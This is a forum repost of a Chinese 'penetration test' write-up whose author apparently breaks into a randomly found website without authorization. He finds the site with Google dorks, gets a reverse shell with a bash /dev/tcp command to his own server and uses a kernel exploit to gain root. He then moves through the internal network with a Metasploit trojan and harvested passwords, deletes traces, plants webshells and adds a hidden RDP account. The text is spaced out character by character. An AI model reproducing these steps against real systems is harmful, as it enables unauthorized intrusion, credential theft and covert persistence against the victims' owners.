搜索

[18200] 2020-11-13_记一次渗透测试实战

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-11-13_记一次渗透测试实战 记 一 次 渗 透 测 试 实 战 H i t 0 n   H A C K 之 道   2 0 2 0 - 1 1 - 1 3 0 X 0 1   突 破 边 界 拿 下 突 破 边 界 拿 下 s h e l l 周 末 在 家 闲 着 没 事 突 然 就 想 搞 事 了 ， 然 后 使 用 G o o g l e   h a c k 语 法 输 入 批 量 搜 索 可 能 存 在 上 传 点 的 网 站 ， 试 了 好 几 个 最 后 找 到 一 个 可 利 用 的 上 传 点 。   注 ： 涉 及 敏 感 信 息 ， 图 片 仅 供 参 考 ， 具 体 内 容 自 行 填 充 。 i n u r l : x x x . x x x . x x x / u p l o a d
0 X 0 2   反 弹 反 弹 s h e l l & 提 权 提 权 L i n u x 下 需 要 把 s h e l l 反 弹 出 来 以 方 便 我 们 操 作 ， 但 是 目 标 主 机 上 既 没 有 n c 也 没 有 p y t h o n ， 查 询 相 关 资 料 后 尝 试 了 一 下 利 用 b a s h 弹 s h e l l 。 需 要 一 台 公 网 服 务 器 ， 使 用 命 令 公 网 服 务 器 使 用 命 令 监 听 1 2 3 4 端 口 b a s h   - i   > &   / d e v / t c p / y o u r   i p / 1 2 3 4   0 > & 1 n c   - l v p   1 2 3 4
现 在 s h e l l 已 经 反 弹 出 来 了 ， 使 用 命 令 查 看 当 前 权 限 ， 发 现 仅 为 A p a c h e ， 使 用   查 看 内 核 版 本 , 发 现 服 务 器 内 核 版 本 为 2 . 6 . 3 1 . 5 - 1 2 7 . f c 1 2 . 1 6 8 6   在 e x p l o i t - d b 中 搜 索 此 版 本 的 相 关 漏 洞 ，   经 过 多 次 尝 试 ， 发 现 了 下 面 这 个 e x p 来 提 升 权 限 。 L i n u x   K e r n e l   2 . 6 . 3 6 - r c 8   -   ' R D S   P r o t o c o l '   L o c a l   P r i v i l e g e   E s c a l a t i o n 然 而 问 题 又 来 了 ， 目 标 主 机 上 没 有 g c c ， 怎 么 办 ? 只 能 撞 撞 运 气 尝 试 在 本 地 编 译 好 ， 再 传 到 目 标 主 机 上 去 执 行 。 本 地 编 译 好 e x p 后 传 到 目 标 主 机 T M P 路 径 下 ， 执 行 命 令 赋 予 e x p 执 行 权 限 ， 然 后 执 行 获 取 到 r o o t 权 限 。 i d u n a m e   - a c h m o d   7 7 7   a . / a
0 X 0 3   横 向 渗 透 撸 内 网 横 向 渗 透 撸 内 网 发 现 目 标 主 机 有 内 网 环 境 ， 个 人 比 较 喜 欢 用 m s f ， 于 是 生 成 了 个 m s f 木 马 上 传 执 行 获 取 到 一 个 m e t e r p r e t e r s h e l l 。 这 里 需 要 注 意 的 是 生 成 木 马 时 L H O S T 填 你 的 服 务 器 公 网 i p ， 设 置 m s f 监 听 时 L H O S T 需 要 填 你 服 务 器 的 内 网 i p 。 在 m e t e r p r e t e r s h e l l 里 执 行 添 加 路 由 扫 内 网 4 4 5 。 发 现 一 台 内 网 机 器 存 在 m s 1 7 0 1 0 但 是 s e s s i o n 弹 不 回 来 ， 尴 尬 。 r u n   a u t o r o u t e   - s   1 0 . 1 . 1 . 0 / 2 4
僵 硬 ， 变 换 思 路 在 边 界 服 务 器 上 寻 找 有 价 值 的 可 利 用 信 息 。 最 后 发 现 了 几 个 p a s s w o r d . t x t 和 一 个 批 量 更 新 密 码 的 脚 本 ， 找 到 一 个 长 得 像 管 路 员 的 密 码 。 这 里 不 得 不 说 一 下 在 内 网 渗 透 中 信 息 收 集 的 重 要 性 ， 这 个 密 码 简 直 太 给 力 了 。
因 为 是 内 网 ， 所 以 得 用 代 理 工 具 把 本 机 代 理 进 去 ， 这 里 我 用 的 是 r e G e o r g - m a s t e r ， 上 传 t u n n e l . n o s o c k e t . p h p 到 网 站 目 录 下 ， 配 合 P r o x i f i e r 进 行 全 局 代 理 （ L i n u x 下 用 p r o x y c h a i n s ) 。 用 这 个 密 码 登 录 上 了 受 害 主 机 的 s s h ， s s h 都 拿 到 了 ， 接 下 来 把 该 删 掉 的 东 西 都 删 掉 。 扫 描 内 网 机 器 1 0 . 1 . 1 . 1 7 发 现 开 了 f t p ， 用 上 面 那 个 密 码 登 录 进 去 了 ， 就 是 这 么 巧 。 然 后 f t p 传 马 ， 先 传 了 个 大 马 。 结 果 发 现 P H P 版 本 太 老 了 ， 然 后 上 了 个 小 马 ， 菜 刀 连 接 。 直 接 s y s t e m 权 限 。
发 现 没 开 3 3 8 9 ， 使 用 命 令 一 键 开 启 远 程 桌 面 。 建 立 隐 藏 账 户 ， 成 功 连 入 远 程 桌 面 R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d  

0 X 0 4 写 在 后 面 的 话 写 在 后 面 的 话 第 一 次 从 外 网 渗 透 到 内 网 ， 盯 了 三 天 终 于 撸 下 一 台 ， 感 觉 这 个 内 网 还 有 的 撸 ， 有 时 间 在 继 续 搞 。 作 者 ： H i t 0 n 文 章 来 源 ： h t t p : / / l a n g - v . c o m / f i r s t _ c m s / y c / e m l o g / s r c / ? p o s t = 1 9   注 明 ： 请 勿 利 用 文 章 内 的 相 关 技 术 从 事 非 法 测 试 ， 如 因 此 产 生 的 一 切 不 良 后 果 与 文 章 作 者 和 本 公 众 号 无 关 。 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理